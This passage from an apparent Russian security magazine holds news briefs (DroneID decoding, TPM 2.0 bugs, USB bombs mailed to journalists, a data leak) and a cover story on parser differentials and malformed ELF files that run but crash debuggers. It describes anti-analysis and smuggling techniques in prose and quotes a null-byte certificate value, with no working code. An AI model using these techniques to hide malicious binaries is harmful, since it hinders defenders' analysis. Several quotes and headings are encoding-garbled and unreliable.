В итоге проблеме был присвоен идентификатор CVE-2023-28303.
В Windows 11 для ее устранения следует обновить Snipping Tool до вер-
сии 11.2302.20.0, а в Windows 10 патч получил Snip and Sketch вер-
сии 10.2008.3001.0.
Теперь при обрезке изображения и перезаписи исходного файла инстру-
мент удаляет неиспользуемые данные корректно, а не помещает их в конец
файла, после IEND.

НА 7% СНИЗИЛАСЬ СКОРОСТЬ МОБИЛЬНОГО


ИНТЕРНЕТА В РФ
По данным TelecomDaily, в феврале 2023 года скорость мобильного интернета в регионах Рос-
сии снизилась на 7% по сравнению с предыдущим годом (до 18,3 Мбит/с). При этом в Москве
скорость мобильного интернета выросла на 32% до 34,7 Мбит/с.

Исследователи объясняют ухудшение доступа дефицитом сетевого оборудования и установкой


новых базовых станций в первую очередь в крупных городах. Глава TelecomDaily Денис Кусков
отмечает, что сетевое оборудование постепенно устаревает и требует модернизации, а склад-
ские запасы не безграничны. Именно поэтому растет разрыв в качестве интернет-доступа меж-
ду столицей и регионами. Операторы наращивают пропускную способность сетей медленнее,
чем растет интернет-трафик.

ДРОНЫ DJI
РАСКРЫВАЮТ
ЛОКАЦИЮ
ОПЕРАТОРОВ

Специалисты из Рурского университета в Бохуме и Центра информационной


безопасности имени Гельмгольца в Германии (CISPA) рассказали, что им
удалось расшифровать сигналы, передаваемые дронами DJI. Оказалось, что
устройства транслируют не только свои GPS-координаты и уникальный ID
дрона, но и GPS-координаты своего оператора.
Исследователи пишут, что такие девайсы становятся все востребованнее
в зонах боевых действий, ведь они могут вести наблюдение на большой
высоте, проводить разведку и даже использоваться как оружие, тогда как их
оператор надежно скрыт на расстоянии до нескольких километров от дрона.
Однако оказалось, что местоположение пилотов не такая уж большая тай-
на. Фактически любой человек, у которого есть простое и дешевое ради-
ооборудование, может перехватить сигналы дронов и расшифровать их,
таким образом получив координаты пилота.

В своем докладе ученые рассказывают, что им удалось расшифровать ради-


осигналы дронов DJI и декодировать используемый ими радиопротокол
DroneID. Деконструировав сигналы, исследователи увидели, что каждый дрон
DJI передает по протоколу DroneID не только свои GPS-координаты и уни-
кальный идентификатор дрона, но и GPS-координаты своего оператора.
Исходно система DroneID компании DJI создавалась для того, чтобы поз-
волить правительствам, регулирующим органам и правоохранителям контро-
лировать беспилотники и предотвращать злоупотребления ими. Но хакеры
и ИБ-исследователи уже давно говорят о том, что DroneID не зашифрована
и открыта для любого, кто способен принимать радиосигналы.
Так, DroneID уже подвергалась критике прошлой весной, когда украинские
власти раскритиковали компанию за то, что российские военные используют
дроны DJI для наведения ракет, а также определяют местонахождение опе-
раторов украинских дронов DJI по их радиосигналам. В ответ на это компания
вообще заявила о недопустимости использования своих потребительских
беспилотников в военных целях, а затем прекратила продажи устройств как в
России, так и на Украине.
При этом китайский производитель уже давно продает государственным
регуляторам и правоохранительным органам специальное устройство
Aeroscope, которое позволяет перехватывать и декодировать данные
DroneID, определяя местоположение любого дрона и его оператора на рас-
стоянии до 48 км.
Ранее в компании подчеркивали, что протокол DroneID зашифрован и,
следовательно, недоступен для тех, у кого нет устройства Aeroscope, которое
любой желающий приобрести просто не сможет. Однако позже ИБ-иссле-
дователь Кевин Финистерре (Kevin Finisterre) продемонстрировал перехват
некоторых данных DroneID при помощи свободно доступного SDR Ettus.
В итоге представитель DJI признал в беседе с журналистами, что передачи
на самом деле не зашифрованы.
В своем докладе немецкие ученые продемонстрировали, что сигналы дро-
нов действительно могут быть расшифрованы и прочитаны и без всякого
Aeroscope, что позволяет прослушивать DroneID для точного определения
положения как самого беспилотника, так и его оператора.
В качестве доказательства своих выводов исследовательская группа
опубликовала на GitHub прототип инструмента для получения и расшифровки
данных DroneID.
Исследователи пошли даже дальше, чем Финистерре: они изучили про-
шивку дрона DJI и его радиосвязь, отреверсили DroneID и создали инстру-
мент, который может принимать передачи DroneID с помощью уже упомяну-
того выше Ettus или более дешевого HackRF, который стоит всего несколько
сотен долларов (по сравнению с 1000+ долларов за устройства Ettus). В ито-
ге это позволяет выполнять все доступные Aeroscope действия без него
самого.
Хотя исследователи тестировали перехват сигналов лишь на расстоянии
от 15 до 25 футов (от 4,5 до 7,5 м), они отмечают, что даже не пытались уве-
личить расстояние, так как его возможно без труда расширить с помощью
дополнительных технических решений.
Теперь ИБ-эксперты и СМИ предполагают, что, независимо от мотивов,
которыми компания DJI руководствовалась, создавая DroneID и рекламируя
Aeroscop как единственно подходящее устройство для перехвата сигналов,
доступность информации о местоположении оператора дрона и тот факт, что
эти данные можно легко перехватить (без всякого Aeroscope), окажут серь-
езное влияние на использование квадрокоптеров в зонах боевых действий
и других враждебных условиях.

В США ПЫТАЮТСЯ ЗАПРЕТИТЬ TIKTOK

В начале марта комитет палаты представителей конгресса США принял законопроект, который
может позволить президенту полностью запретить TikTok в стране. В конце 2022 года соцсеть
уже запретили устанавливать на государственные устройства более чем в 20 штатах, а некото-
рые университеты заблокировали его в Wi-Fi-сетях своих кампусов.
Политики говорят, что TikTok, принадлежащий китайской компании ByteDance и насчитыва-
ющий 150 миллионов пользователей в США, может угрожать национальной безопасности стра-
ны.

→ «Зачем впускать троянского коня в свою крепость? Зачем привносить эту


возможность в США, когда китайцы могут манипулировать данными, которые
мы видим, и либо включать в них то, что они хотят показать нашему населению
(в том числе материалы, вызывающие разногласия в обществе), либо удалять
то, что выставляет их в плохом свете и что они не хотели бы показать американ-
скому народу?»

— такими вопросами задавался Роб Джойс, глава отдела кибербезопасности в АНБ, на кон-
ференции Silverado Accelerator Conference, прошедшей в конце марта.

Продолжение статьи →
← Начало статьи

ЖУРНАЛИСТУ
ПРИСЛАЛИ ФЛЕШКУ
С БОМБОЙ

Полиция Эквадора расследует массовую атаку на медиаорганизации по всей


стране. Журналист и ведущий Ecuavisa был ранен после того, как при подклю-
чении к компьютеру взорвалась USB-флешка, которую он получил по почте.
Такие же девайсы были отправлены в редакции еще как минимум пяти эква-
дорских СМИ.
Глава отдела уголовных расследований национальной полиции Эквадора
Хавьер Чанго Льерена (Xavier Chango Llerena) заявил, что власти обнаружили
конверты с предполагаемыми взрывными устройствами в редакциях
еще четырех СМИ: двух в Гуаякиле и двух в Кито. Еще одна взрывоопасная
флешка была найдена на складе компании по доставке посылок.
В результате взрыва USB-накопителя пострадавший журналист Ecuavisa
Ленин Артиеда (Lenin Artieda) получил травмы рук и лица. По данным полиции,
Артиеде повезло — взорвалась только половина заложенного в USB-накопи-
тель заряда, и исход мог быть более печальным, если бы все прошло так,
как планировали злоумышленники.
Также сообщается, что активация взрывного устройства могла произойти
от электрического заряда, который флешка получила при подключении.
По словам Льерены, накопитель мог содержать гексоген, хотя это пока
не подтверждено лабораторным анализом.
Организация по защите интересов прессы и свободы слова Fundamedios
осудила это нападение и сообщила, что еще минимум трое журналистов,
в том числе из TC Televisión, Teleamazonas и радио Exa FM, получили по почте
такие USB-накопители и письма с угрозами.
В частности, Альваро Росеро (Álvaro Rosero), работающий на ради-
останции Exa FM, получил конверт с аналогичной флешкой 15 мар-
та 2023 года. Он отдал устройство своему продюсеру, который использовал
кабель с адаптером для подключения флешки к компьютеру. В этот раз
накопитель не взорвался. Полиция установила, что в устройстве содержалась
взрывчатка, но из-за адаптера, использованного продюсером, заряд не акти-
вировался.
ИБ-специалист и инженер Майкл Гровер (Michael Grover), также известный
под ником MG, которого многие знают как автора вредоносного кабеля
O.MG, демонстрировал взрывающиеся USB-флешки еще в 2018 году (исклю-
чительно как PoC и в качестве шутки), а мы тогда посвятили исследованиям
MG большую статью.

« «Äàæå ìàëåíüêèé ôëåø íàêîïèòåëü îïàñåí ñ ÷åì òî âðîäå „ñåì


òåêñà“ íà áîðòó è äîñòàòî÷íî áûñòðîäåéñòâóþùèì çàïàëîì. Âàøà
ðóêà áóäåò íàõîäèòüñÿ ïðÿìî íà íàêîïèòåëå, êîãäà íà íåãî áóäåò
ïîäàíî ïèòàíèå, — îáúÿñíèë Ãðîâåð òåïåðü. — Íå ìîãó ñêàçàòü,
èñïîëüçîâàëèñü ëè òàêèå àòàêè â ðåàëüíîñòè, íî ìåíÿ ñîâñåì íå óäè
âèò, åñëè èñïîëüçîâàëèñü. ß çíàþ íåñêîëüêî èçäàíèé, ãäå âñþ ïî÷òó
ñêàíèðóþò íà íàëè÷èå âçðûâ÷àòûõ âåùåñòâ è äðóãèõ îïàñíûõ ïðåä
ìåòîâ».

Исследователь говорит, что подобные атаки, к сожалению, могут быть весьма


»
эффективными для террористов. MG надеется, что произошедшее вынудит
большее количество изданий тщательно проверять входящую корреспон-
денцию.
Кто именно посылает такой «сигнал» журналистам, пока остается неяс-
ным. Fundamedios пишет, что одно из сообщений, сопровождавших опасную
флешку, было направлено против неустановленной политической группы,
другое гласило, что на накопителе представлены материалы, которые разоб-
лачат Correísmo (эквадорское политическое движение, названное в честь
бывшего президента Рафаэля Корреа). Кроме того, последние несколько лет
в стране наблюдается всплеск преступности, который президент Гильермо
Лассо связывает с незаконным оборотом наркотиков (если точнее,
с деятельностью наркокартелей).

ПРОДАЖА ДОСТУПОВ К СЕТЯМ ПРЕДПРИЯТИЙ


Эксперты Positive Technologies провели исследование киберугроз 2022 года, актуальных
для промышленных организаций. Выяснилось, что количество доступов к инфраструктуре орга-
низаций из этой сферы, выставленных на продажу в 2022 году, выросло с 86 до 122 — более
чем на 40%.

Торговля доступами составила 75% всех объявлений, относящихся к промышленности, и их


стоимость обычно колеблется от 500 до 5000 долларов США.

Индустриальный сектор привлекает легким заработком даже малоквалифицированных прес-


тупников: они получают первоначальный доступ, а затем продают его более компетентным зло-
умышленникам для дальнейшего развития атаки.

На протяжении последних четырех лет этот сектор входит в тройку самых атакуемых отраслей:
каждая десятая успешная атака на организации приходится на промышленные предпри-
ятия.

В общей сложности в промышленных компаниях было зафиксировано 223 инцидента, выз-


ванных атаками злоумышленников, и это на 7% больше, чем в 2021 году. Больше всего инци-
дентов (75) пришлось на второй квартал 2022 года, и почти все атаки (97%) на организации
этого сектора были целевыми.

В большинстве атак (70%) хакеры применяли вредоносное ПО, почти в половине (44%) —
методы социальной инженерии, а еще в 43% случаев эксплуатировали уязвимости ПО.

56% всех успешных атак в этой сфере привели к утечкам данных, которые в первую очередь
затронули сведения, содержащие коммерческую тайну и персональную информацию.

ВЫЯВЛЕНЫ
УЯЗВИМОСТИ
В TPM 2.0

Эксперты из компании Quarkslab обнаружили две серьезные уязвимости


в спецификации библиотеки Trusted Platform Module (TPM) 2.0. Проблемы
могут позволить аутентифицированному локальному атакующему переза-
писать защищенные данные в TPM, а также выполнить произвольный код.
Исследователи предупреждают, что эти проблемы могут затрагивать мил-
лиарды устройств.
Уязвимости получили идентификаторы CVE-2023-1017 (чтение out-of-
bounds) и CVE-2023-1018 (запись out-of-bounds). Обе проблемы связаны
с обработкой параметров для некоторых команд TPM и позволяют злоумыш-
леннику эксплуатировать их, отправляя TPM вредоносные команды
для выполнения кода.
Согласно бюллетеню безопасности, выпущенному Trusted Computing
Group, разработчиком спецификации TPM, эти уязвимости, связанные
с переполнением буфера, могут привести к раскрытию информации
или повышению привилегий. Итоговое влияние проблем зависит от того,
как производитель реализовал работу с конкретной областью памяти: явля-
ется ли она неиспользуемой или содержит оперативные данные.
Специалисты Quarkslab говорят, что крупные технические поставщики,
организации, использующие корпоративные компьютеры, серверы, IoT-
устройства и встроенные системы, включающие TPM, могут пострадать
от этих уязвимостей. В целом же, по словам исследователей, баги «могут зат-
рагивать миллиарды устройств».
Эксперты CERT уже заявили, что в течение нескольких месяцев информи-
ровали поставщиков о багах, стремясь повысить осведомленность и умень-
шить последствия. К сожалению, в итоге лишь несколько организаций под-
твердили, что они затронуты CVE-2023-1017 и CVE-2023-1018.
Пока Lenovo — единственный крупный OEM-вендор, выпустивший собс-
твенные рекомендации по безопасности и предупредивший, что CVE-2023-
1017 влияет на некоторые из систем компании, работающие на Nuvoton TPM
2.0.
В CERT предупреждают, что эксплуатация этих уязвимостей либо позволя-
ет получить доступ к конфиденциальным данным для чтения, либо дает воз-
можность перезаписать обычно защищенные данные, доступные только
для TPM (например, криптографические ключи).
Всем затронутым вендорам необходимо перейти на исправленную вер-
сию спецификации:
• TMP 2.0 v1.59 Errata версии 1.4 или выше;
• TMP 2.0 v1.38 Errata версии 1.13 или выше;
• TMP 2.0 v1.16 Errata версии 1.6 или выше.

Пользователям рекомендуется как можно скорее применить обновления,


выпущенные Trusted Computing Group, а также другими поставщиками.
В вычислительных средах с высокой степенью надежности пользователям
также рекомендуют рассмотреть возможность использования TPM Remote
Attestation для обнаружения любых изменений и обеспечения защиты TPM
от взлома.

НА 39% КОМПЬЮТЕРОВ АСУ ЗАБЛОКИРОВАНЫ


ВРЕДОНОСНЫЕ ОБЪЕКТЫ
Аналитики Kaspersky ICS CERT подсчитали, что во второй половине 2022 года вредоносные
объекты были заблокированы на 39% компьютеров систем автоматизации в России.

Хуже того, Россия вошла в тройку лидеров в рейтинге регионов мира по доле заблокированных
вредоносных объектов на компьютерах АСУ. Рост по сравнению с первым полугодием составил
9 процентных пунктов — это наиболее значительное изменение среди всех исследуемых
регионов.

Эксперты связывают этот рост с увеличением доли компьютеров АСУ, которые были атакованы
вредоносными объектами из интернета: их количество выросло на 12 процентных пунктов
по сравнению с первым полугодием. К таким угрозам относятся в том числе вредоносные
скрипты и фишинговые страницы (JS и HTML). Они были заблокированы почти на каждом пятом
компьютере АСУ (18%).

УТЕКЛИ ДАННЫЕ
«СБЕРСПАСИБО»

ИБ-исследователи сообщили, что в открытом доступе появились две части


дампа, предположительно полученного из мобильного приложения бонусной
программы «СберСпасибо» (spasibosberbank.ru).
По данным специалистов Data Leakage & Breach Intelligence (DLBI),
информацию слил тот же злоумышленник, который стоит за недавними утеч-
ками данных сервисов «СберПраво» и «СберЛогистика». В общей сложности
были обнародованы 51 977 405 уникальных номеров телефонов
и 3 298 456 уникальных email-адресов.
Структура обоих сливов совпадает: в дампах содержатся номера телефо-
нов, даты рождения, даты регистрации в сервисе, дата последнего входа,
а также хешированные (SHA-1 без соли) номера банковских карт,
как основной, так и дополнительных.

Еще во время первого слива эксперты предупредили, что, хотя номера бан-
ковских карт хранятся в одном из файлов в виде хеша, из-за использования
устаревшего алгоритма SHA-1 «восстановить» реальные значения карт
не составит никакого труда (при помощи обычного перебора). При этом толь-
ко в первом дампе специалисты насчитали 100 092 292 уникальных хеша.
Выборочная проверка номеров банковских карт (через переводы с карты
на карту) показала, что часть из них действительны и перевод на них воз-
можен, а часть карт, видимо, уже неактивна, так как перевод невозможен.
Представители «СберСпасибо» сообщили СМИ, что проверят информа-
цию о возможной утечке:

« «Ìû ïðîâåðÿåì èíôîðìàöèþ è åå äîñòîâåðíîñòü. Ïîäîáíûå ñîîá


ùåíèÿ âîçíèêàþò ÷àñòî è, êàê ïðàâèëî, ñâÿçàíû ñ ìîøåííèêàìè,
êîòîðûå ïûòàþòñÿ ïðîäàòü êîìïèëÿöèè ñòàðûõ áàç äàííûõ ïîä âèäîì
îðèãèíàëüíûõ», — çàÿâèëè â êîìïàíèè.
»
ДРУГИЕ ИНТЕРЕСНЫЕ СОБЫТИЯ МЕСЯЦА
Поддержка Microsoft «взламывает» Windows пользователей из-за проблем с активацией

UEFI-буткит BlackLotus обходит защиту даже в Windows 11

Уязвимость в протоколе Wi-Fi IEEE 802.11 позволяет перехватывать сетевой трафик

Эксперты: из чат-бота Bing может получиться убедительный мошенник

Малварь Hiatus атакует роутеры бизнес-класса, превращая их в устройства для шпионажа

Microsoft Excel будет по умолчанию блокировать надстройки XLL

На 4chan опубликовали языковую ИИ-модель LLaMa, созданную Facebook *

Бразильские власти конфискуют Flipper Zero, чтобы устройства не использовались в прес-


тупных целях

GPT-4 обманом вынудил человека решить для него CAPTCHA, притворившись слабовидящим

Эксперты Google нашли 18 уязвимостей в чипсетах Samsung Exynos

* Ïðèíàäëåæèò êîìïàíèè Meta, ÷üÿ äåÿòåëüíîñòü ïðèçíàíà ýêñòðå


ìèñòñêîé è çàïðåùåíà â Ðîññèè.
COVERSTORY

УЧИМ ИСПОЛНЯЕМЫЕ ФАЙЛЫ


LINUX СОПРОТИВЛЯТЬСЯ
ОТЛАДКЕ

Из множества техник антиотладки одна сто-


ит особняком: ее суть — не задетектить
дебаггер, а не допустить запуска в нем при-
ложения. Поговорим о том, как это достига-
ется, о parser differentials и фаззинге. kclo3
Desperately in love with Linux
А потом получим такие эльфы, чтобы их and C
kclo3@icloud.com
с руганью не открыли отладчик и дизассем-
блер, но чтобы они прекрасно запустились
в родной среде обитания — Linux.

В целом парсеры — настоящий кладезь для поиска багов. И чем сложнее


обрабатываемый формат, тем больше можно найти интересного. Взять,
к примеру, XML. Он широко используется — скажем, для описания докумен-
тов и презентаций, SOAP и RSS. И сколько проблем он несет: с его помощью
реализованы XML-бомбы c billion laughs 20-летней давности, XXE-атаки,
ошибки в отдельных реализациях, позволяющие сбежать из песочницы в iOS
13 и читать чужие SMS.

WWW
У LiveOverow есть небольшое видео о том,
как он создавал запускаемый файл, который тем
не менее невозможно открыть в GDB и Radare2:
Uncrackable Program? Finding a Parser Differential
in loading ELF. Этот ролик и положил начало
моему ресерчу.

Language-theoretic Security è ôàéëû-ïîëèãëîòû


Парсеры, как следует из названия, занимаются разбором (парсингом) неко-
его языка, который определяется грамматикой. И это касается не только язы-
ков программирования, но и форматов файлов и протоколов.
Безопасности языков, или Language-theoretic Security, посвящен сайт
langsec. Если начнешь углубляться в эту тему, имена исследователей будут
попадаться тебе довольно часто. Например, имя Сергея Братуся (Sergey
Bratus) в контексте изучения интересностей ELF и так называемых weird
machines и Мередит Паттерсон (Meredith L. Patterson) в контексте изучения
протоколов и парсеров грамматик.
Так что же это за langsec такой? Проще, мне кажется, попробовать объ-
яснить «на пальцах». В интервью IOHK Мередит Паттерсон рассказывала,
как начинался langsec, — с обсуждения, что, согласно теории формальных
языков, фильтры в виде регулярных выражений никогда не победят SQL-инъ-
екции.
Другая вещь, которую изучают ребята из langsec, — поиск несоответствий
теории и практики, а именно проблем в реализациях различных форматов
и как это может быть проэксплуатировано. Одной из основных проблем
называют следование закону Постела, который гласит:

« Áóäüòå êîíñåðâàòèâíû â òîì, ÷òî îòïðàâëÿåòå, è ëèáåðàëüíû â òîì,


÷òî ïðèíèìàåòå.
»
Изначально такой подход должен был обеспечивать надежность работы TCP.
Сейчас, однако, из-за этого принципа времен зари интернета могут случать-
ся интересные казусы. Один из них — это так называемые файлы-полиглоты.
Ведь файл — это лишь набор байтов, и то, как они будут интерпретированы,
зависит от парсера. А парсеры порой крайне лояльно относятся к отклонени-
ям от спецификаций и пробуют восстановить недостающие данные из контек-
ста либо игнорируют откровенно невалидные значения отдельных полей.
Благодаря этому можно, например, совместить скрипт, содержащий
питоний веб-сервер и прочие плюшки, с валидным PDF. Это относительно
легко можно сделать из-за некоторых особенностей реализации этого стан-
дарта, таких как нефиксированное положение сигнатуры PDF внутри файла
и даже возможность полного ее отсутствия.
Помимо того что создание таких файлов — занятная разминка для мозга,
они, как утверждается, могут оказаться полезными при тестировании систем
для обхода фильтров по типам файлов. Таким файлам посвящен далеко
не один ресерч, и есть даже целый формат αcτµαlly pδrταblε εxεcµταblε, хит-
рым образом совмещающий в себе PE, ELF, Mach-O, sh и bootsector.
По заверениям автора, этот формат способен без изменений запускаться
на Linux, Mac, Windows, BSD и зачем-то на голом BIOS.

INFO
На тему файлов-полиглотов очень много
информации можно найти у Ange Albertini
(corkami), известного также как the le format guy.
И весьма заслуженно — в его репозиториях мож-
но отыскать множество постеров с наглядным
представлением кучи форматов: исполняемых
файлов, документов, картинок, архивов и не
только, а также различных заметок.
Там же находится репозиторий PoC||GTFO,
содержащий много занятных статей, помимо пос-
вященных полиглотам. Забавно, но PDF с его
статьями на самом деле тоже больше чем просто
PDF.

В общем, абьюзить парсеры файлами-полиглотами довольно весело.


Но поговорим теперь о более целенаправленном зле, а затем испробуем его
на практике.

PARSE TREE DIFFERENTIAL ATTACK

Первое упоминание атаки с таким именем нашлось в презентации 2010 года


Мередит Паттерсон и Лена Сассамана, посвященной грамматикам протоко-
лов. Там была рассмотрена атака, именуемая arse tree differential attack —
что-то типа «атаки на разность деревьев разбора», на парсеры X.509. О ней
мы поговорим чуть ниже.
В работе Security Applications of Formal Language Theory, опубликованной
в 2013 году, авторы рассматривают непосредственно саму атаку уже более
подробно.

INFO
Насколько я могу судить, термин parser
differentials, несмотря на то что существует боль-
ше десяти лет, не особо в ходу за пределами
langsec-сообщества, хотя описаний атак, которые
можно сюда отнести, предостаточно. Также мне
не попадались варианты перевода этого на рус-
ский, но, думаю, можно назвать это чем-то вроде
«разности разбора».

Атаки на «разность деревьев разбора» — по-своему удивительный вид атак.


Сама идея их максимально простая: имеется две реализации парсеров одно-
го формата, и они по-разному «видят» одни и те же входные данные. Пос-
ледствия же, особенно в цепочке с другими уязвимостями, могут быть
самыми разными. Давай разберем несколько примеров.

REQUESTS SMUGGLING Â GITLAB È ZOOM

HTTP requests smuggling, который в русскоязычных источниках иногда называ-


ют «контрабандой запросов», по сути можно отнести к атакам на parser
differential. Они работают за счет того, что два сервера по-разному парсят
один и тот же проходящий через них HTTP-запрос. На одних и тех же входных
данных они видят разное, что позволяет «контрабандой» внедрять в один зап-
рос второй. С примером такой атаки ты можешь ознакомиться в разборе
одной из HTB-тачек.
Эта уязвимость, CVE-2020-6833, существовала в GitLab: gitlab-
workhorse и gitlab-rails распарсивали по-разному один и тот же HTTP-
запрос на сохранение файла. Эксплуатация уязвимости позволяла файлы
читать. Подробнее это было разобрано в блоге GitLab.
Но requests smuggling не ограничивается HTTP-запросами. В докладе
XMPP Stanza Smuggling or How I Hacked Zoom Айван Фратрик из Project Zero
рассказывает о CVE-2022-22784, в которой ошибки парсеров позволяли
вставлять теги в сообщения (stanza). Потенциально это позволяло достичь
подделки сообщений сервера, перенаправления соединения и проблем
с повреждением памяти, недоступных иным путем. Исследователь смог рас-
крутить это до выполнения своего кода в ходе автообновления Zoom
в результате подмены сервера.

Psychic Paper è CVE-2022-42855


В январе этого года был опубликован ресерч того же исследователя
из Project Zero. В нем он упоминал вариацию Psychic Paper — атаку, в резуль-
тате которой на macOS можно было исполнять файлы с неподписанными
разрешениями (entitlements) так, что сама система считала, что все окей.
Происходило это потому, что внутри операционки парсеров PLIST (то есть
старого доброго XML) было аж четыре штуки, которые, конечно же, в опре-
деленных случаях не выдавали идеально одинаковые результаты. Неверо-
ятным решением той проблемы стало — что бы вы подумали? — создание
пятого парсера.
В дальнейшем, впрочем, в Apple решили переходить на бинарный DER-
формат вместо текстового XML, но и в этом случае Фратрик смог найти
в libCoreEntitlements функции, которые парсят элементы DER по-разному,
хотя добиться эффекта Psychic Paper ему не удалось.

Äîâåðåííûå ñåðòèôèêàòû X.509 íà ïðîèçâîëüíûé äîìåí


В 2010 году Леном Сассаманом и Мередит Паттерсон в докладе Towards
a formal theory of computer insecurity: a language-theoretic approach была опи-
сана уже упомянутая атака на обработку сертификатов X.509 браузерами: те
могли отображать пользователю не тот домен, для которого сертификаты
были изданы, потому что неверно распарсивали поле CN (Common Name),
если в нем был нуль-терминатор.
Центр сертификации не позволил бы запросить сертификат для условного
www.bank.com тому, кто не владеет таким доменом. Но что случится, спро-
сили исследователи, если в CN указать www.bank.com\x00badguy.com?

Слайд из презентации Сассамана и Паттерсон

Из-за некорректной обработки нуль-терминатора браузеры «видели»


и показывали пользователю строку www.bank.com, хотя сертификат (под-
писанный доверенным центром!) был выдан на совсем другой домен. Такое
непотребство, утверждают в докладе, не было бы возможным, если бы âñå
реализации парсили поле одним и тем же образом.

ELF: çàïóñòèòü íåëüçÿ ïðîàíàëèçèðîâàòü


Собственно, схожей логикой с описанной выше руководствовался некто Але-
хандро Эрнандез из IOactive, он же nitr0us. В далеком ныне 2012 году он
решил поискать варианты воспрепятствовать анализу бинарей более инте-
ресным способом, чем использование методов runtime-антиотладки, которые
все же можно обходить. В GDB того времени (7.5.1) nitr0us нашел багу
в обработке DWARF, когда при попытке загрузить специально сформирован-
ный эльф в отладчик последний падал на разыменовании нулевого указателя.
Помимо GDB, nitr0us нашел тогда багу в IDA Pro 6.3, приводящую к внут-
ренней ошибке, после которой та закрывается, опять же не давая проана-
лизировать файл. Сам эльф при этом, конечно, прекрасно запускался самой
ОС и работал. Подробнее можешь ознакомиться в посте IOactive Striking Back
GDB and IDA debuggers through malformed ELF executables.

ÏÀÐÑÅÐÛ ELF

Теперь, когда мы имеем некоторое представление о том, что в мире пар-


серов не все хорошо, подойдем ближе к сабжу и посмотрим, как обстоят
дела с ELF. Задумывался ли ты, сколько в системе с Linux можно насчитать
парсеров одного только ELF-формата?

ßäðî ÎÑ
Парсер ELF есть в ядре Linux и других ОС, которые умеют с ним работать. Он
отвечает за то, чтобы такие системные вызовы, как execve()/execveat(),
могли выполнить свою работу, а мы могли запускать свои любимые браузеры
и смотреть видео с котиками читать статеечки.
Здесь происходит много работы, но в целом ядро выполняет примерно
следующее:
• проверяет наличие прав на запуск файла;
• проверяет, поддерживается ли формат в качестве исполняемого;
• в зависимости от формата выбирает так называемый интерпретатор.
В случае динамически слинкованных эльфов это ld, а в случае скриптов,
которые начинаются с шебанга (#!), это то, что указано в первой строке (/
bin/sh, /usr/bin/env python3 и вообще любой путь — можешь поэк-
спериментировать на досуге);
• в случае эльфов подготавливает сегменты памяти в соответствии с тем,
что указано в его программных заголовках;
• а если эльф динамический, то надо не забыть подгрузить все необ-
ходимые библиотеки, которые также являются эльфами (для них выпол-
няются те же шаги);
• устанавливает указатель текущей инструкции процесса, вызвавшего
execve*(), на точку входа.

Дампы памяти, появляющиеся в Linux при вызове, например, abort()


или получении SIGABRT, возникают тоже не из воздуха: их ядро любезно
собирает в ELF-файл, который имеет тип ET_CORE вместо ET_EXEC/ET_DYN.
И казалось бы, механизм запуска пользовательских бинарей в ОС должен
быть хорошо отлажен за не одно десятилетие существования формата —
первая спецификация появилась аж в 1989 году еще для Unix System V. Ан
нет! Уже известными нам IOActive в 2014 была выявлена проблема
в OpenBSD 5.5, позволяющая вызвать панику ядра специально сфор-
мированным файлом.

Ñèñòåìíûå óòèëèòû
Здесь можно назвать ряд системных утилит из binutils, среди которых readelf,
objdump, as, gcc и ld. Под капотом у них разбором ELF заведует GNU BFD
Library, то есть можно сказать, что на нижнем уровне парсер один. Но там, где
включается логика самих утилит, могут проявиться различия.

Îòëàä÷èêè, äåêîìïèëÿòîðû, äèçàññåìáëåðû, ýìóëÿòîðû


Когда ты хочешь отладить какой-нибудь эльф, скажем в GDB, он пройдет
минимум через два парсера: парсер отладчика, чтобы, к примеру, подгрузить
доступные символы из файла или отладочную информацию при наличии
таковой, и парсер ядра, чтобы этот эльф запустить. Если ты используешь рас-
ширения, то в игру может включиться что-нибудь еще — например, в случае
pwndbg это elftools.
Различные инструменты анализа, будь то IDA, Ghidra, Radare2 или rizin, так-
же вынуждены парсить заголовки файлов, чтобы иметь возможность показать
тебе точку входа, сегменты и при возможности красиво поименовать функции
и переменные. В angr загрузкой исполняемых файлов занимается CLE, внут-
ри использующий elftools. В LIEF за это отвечает собственный код.
Помимо этого, исполняемые файлы в ходе анализа парсят антивирусные
движки, иногда допуская занятные курьезы в виде исключения из дальнейшей
проверки целой архитектуры.

Продолжение статьи →
COVERSTORY ← НАЧАЛО СТАТЬИ

НЕПРАВИЛЬНЫЕ
ЭЛЬФЫ
УЧИМ ИСПОЛНЯЕМЫЕ ФАЙЛЫ LINUX
СОПРОТИВЛЯТЬСЯ ОТЛАДКЕ

ÈÙÅÌ ÐÀÇËÈ×Èß

Как видишь, парсеров много. Как же подступиться к поиску parser differential


между ОС и приложениями, когда имеется столько инструментов, на которые
можно нацелиться? Как и всегда, определимся сперва с тем, чего мы хотим.
Наибольший интерес представляет для нас эльф, который запускается опе-
рационной системой и при этом не открывается в отладчике и дизассембле-
рах.
Известно, что для запуска и работы эльфа информация о секциях совер-
шенно не нужна, и ОС на нее спокойно забивает — об этом, если интересно,
было написано в моей прошлой статье. Инструменты анализа, напротив, ее
используют, когда пытаются вычитать имена символов и секций в файле.
Это значит, что следует сосредоточить внимание на фаззинге заголовков
секций.

INFO
Хочу подчеркнуть, что моей целью не был поиск
зиродеев в инструментах, мне хотелось разоб-
раться с тем, как их в принципе можно тес-
тировать пачкой эльфов. Поэтому и выборка
будет не очень большой.

Ôàççåðû
Пофаззить эльфы, как и любой другой формат, можно по-разному. Пойдем
от самого простого.
LiveOverow написал скрипт, который всего лишь устанавливает один слу-
чайный байт из файла в случайное значение и вот таким нехитрым образом
получает работающий файл, не открывающийся в GDB и Radare2. Самое
интересное в этом всем то, что в 2020 году схожим фаззером нашли пару
проблем в Radare2 при обработке заголовков PE и ELF. Этим уязвимостям
присвоили идентификаторы CVE-2020-16269 и CVE-2020-17487.
Другой возможный вариант — воспользоваться AFL++. Это, несомненно,
куда лучше слепого перебора случайных байтов и позволяет отслеживать
покрытие в тестируемой программе. Но нам-то хорошо бы использовать пач-
ку разных инструментов на одинаковом наборе эльфов и найти среди них
такой, который поломает их все, но запустится на системе. А это не совсем
тот юзкейс, на который ориентирован AFL++.
К тому же, если мы знаем, какой именно из парсеров эльфов мы хотим
пофаззить (а точнее, на что в файле обращает внимание тестируемый пар-
сер), то неплохо иметь возможность уточнить задачу фаззеру. Хотим ли мы
портить программные заголовки (PHT, Program Header Table), заголовки сек-
ций (SHT, Section Header Table), собственный заголовок эльфа или, может,
все вместе? Звучит так, будто лучше использовать фаззер с описанием грам-
матик. Но это — отдельная непростая тема, далеко выходящая за рамки
сегодняшней статьи. Исходя из того, чего мы хотим в нашей задаче, нужно
ломать в эльфе заголовки секций, а не все подряд.
И к счастью, для этого есть более подходящий фаззер.

Melkor
Он был создан уже знакомым нам nitr0us специально для получения сломан-
